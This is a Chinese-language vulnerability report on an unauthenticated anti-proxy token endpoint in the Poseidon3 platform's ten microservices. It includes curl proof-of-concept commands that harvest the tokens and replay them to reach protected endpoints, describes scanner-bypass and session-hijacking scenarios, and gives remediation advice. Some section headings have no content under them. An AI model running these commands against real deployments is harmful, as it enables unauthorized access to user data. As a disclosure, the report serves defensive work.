防护Token泄露（全微服务）

1. 漏洞概述

Poseidon3企业应用平台的所有10个微服务均部署了防Burp Suite代理抓包的Token防护机制，接口路径为 /{service}/inner/getPreventBurpToken。然而该Token获取接口本身无需任何身份认证即可访问，攻击者可直接调用该接口获取防护Token，随后携带该Token绕过防护机制进行任意请求的代理抓包和重放攻击。这使得平台的防抓包防护机制形同虚设。该漏洞属于OWASP Top 10中 A05:2021 - Security Misconfiguration 类别。

2. 漏洞位置

2.1 接口地址

2.2 路径特征

• 所有接口路径均以 /inner/ 开头，表明该接口设计上属于内部接口
• 但实际部署中未配置任何认证或网络访问控制
• 外部网络可直接访问所有 /inner/ 路径的接口

3. 泄露内容分析

3.1 响应数据示例

以 po-server 为例：

curl -sk "https://example-poseidon3.*****.com/po-server/inner/getPreventBurpToken"

{
  "code": "00000",
  "data": ["D8978798F2102282EF0AA1F3A****845"]
}

3.2 泄露字段解读

3.3 Token特征分析

4. 漏洞验证

4.1 批量获取所有服务Token

# 逐个获取所有10个服务的防护Token
for svc in platform-server po-server pr-server mb-server kc-server \
           sp-server ca-server stdmgt-server filemanage-server \
           filemanage-handle-server; do
  echo "=== $svc ==="
  curl -sk "https://example-poseidon3.*****.com/$svc/inner/getPreventBurpToken"
  echo ""
done

4.2 携带Token绕过防护

# 获取Token
TOKEN=$(curl -sk "https://example-poseidon3.*****.com/po-server/inner/getPreventBurpToken" \
  | jq -r '.data[0]')

# 携带Token访问其他接口
curl -sk "https://example-poseidon3.*****.com/po-server/portal/member/login/getUserInfo" \
  -H "X-Prevent-Burp-Token: $TOKEN"

4.3 验证要点

• 所有请求均未携带任何认证Cookie、Session Token或JWT
• 服务端返回HTTP 200状态码，响应体包含有效Token
• 携带获取到的Token可正常访问受防护的接口

5. 攻击场景

5.1 绕过防抓包防护

1. 攻击者使用Burp Suite等代理工具拦截请求
2. 系统检测到代理特征，拒绝响应
3. 攻击者调用 getPreventBurpToken 获取有效Token
4. 将Token注入到后续请求的Header或Cookie中
5. 系统认为请求合法，正常响应
6. 攻击者可继续使用代理工具进行请求拦截和重放

5.2 自动化扫描绕过

1. 编写脚本先调用 getPreventBurpToken 获取Token
2. 将Token注入到扫描工具（如sqlmap、nikto）的请求中
3. 绕过防护机制后对系统进行自动化漏洞扫描
4. 发现更多潜在漏洞

5.3 会话劫持辅助

1. 获取防护Token
2. 结合代理抓包获取用户的Session Cookie
3. 使用Session Cookie和防护Token冒充合法用户
4. 访问用户的敏感数据和业务功能

5.4 全服务扫描

1. 遍历所有10个微服务的 getPreventBurpToken 接口
2. 收集所有服务的防护Token
3. 对每个服务分别进行渗透测试
4. 攻击面覆盖整个微服务架构

影响范围： 攻击面覆盖全部10个微服务，整个平台的防抓包防护机制完全失效。

6. 根因分析

7. 影响评估

8. 修复建议

8.1 紧急修复（P0）

1. 认证保护Token接口：getPreventBurpToken 接口必须要求有效的登录Session或Token才能返回防护Token。
2. 网络访问控制：/inner/ 路径接口仅允许内网IP访问，通过Nginx/网关配置IP白名单。
3. Token绑定：将防护Token与用户的Session或IP地址绑定，防止Token被他人盗用。

8.2 短期修复（P1）

1. Token时效性：设置防护Token的过期时间（如5分钟），过期后需重新获取。
2. Token一次性使用：每个Token仅允许使用一次，使用后立即失效。
3. 请求签名机制：使用HMAC签名替代简单Token，将请求参数和时间戳纳入签名计算，防止重放攻击。

8.3 长期加固（P2）

1. 重构防护机制：取消独立的Token获取接口，改为在用户登录时一次性下发防护Token。
2. WAF替代方案：使用专业的WAF产品替代自研的防Burp机制，提供更可靠的防护能力。
3. 内网接口治理：全面梳理 /inner/ 路径接口，建立内部接口安全规范，确保所有内部接口不暴露在公网。
4. API网关统一防护：通过API网关统一实施请求签名校验、频率限制、IP白名单等防护措施。

9. 参考标准

• OWASP Top 10 2021: A05 - Security Misconfiguration
• CWE-306: Missing Authentication for Critical Function
• CWE-656: Relies on Security Through Obscurity
• [GB/T 22239-2019 信息安全技术 网络安全等级保护基本要求

报告日期： 2026-07-07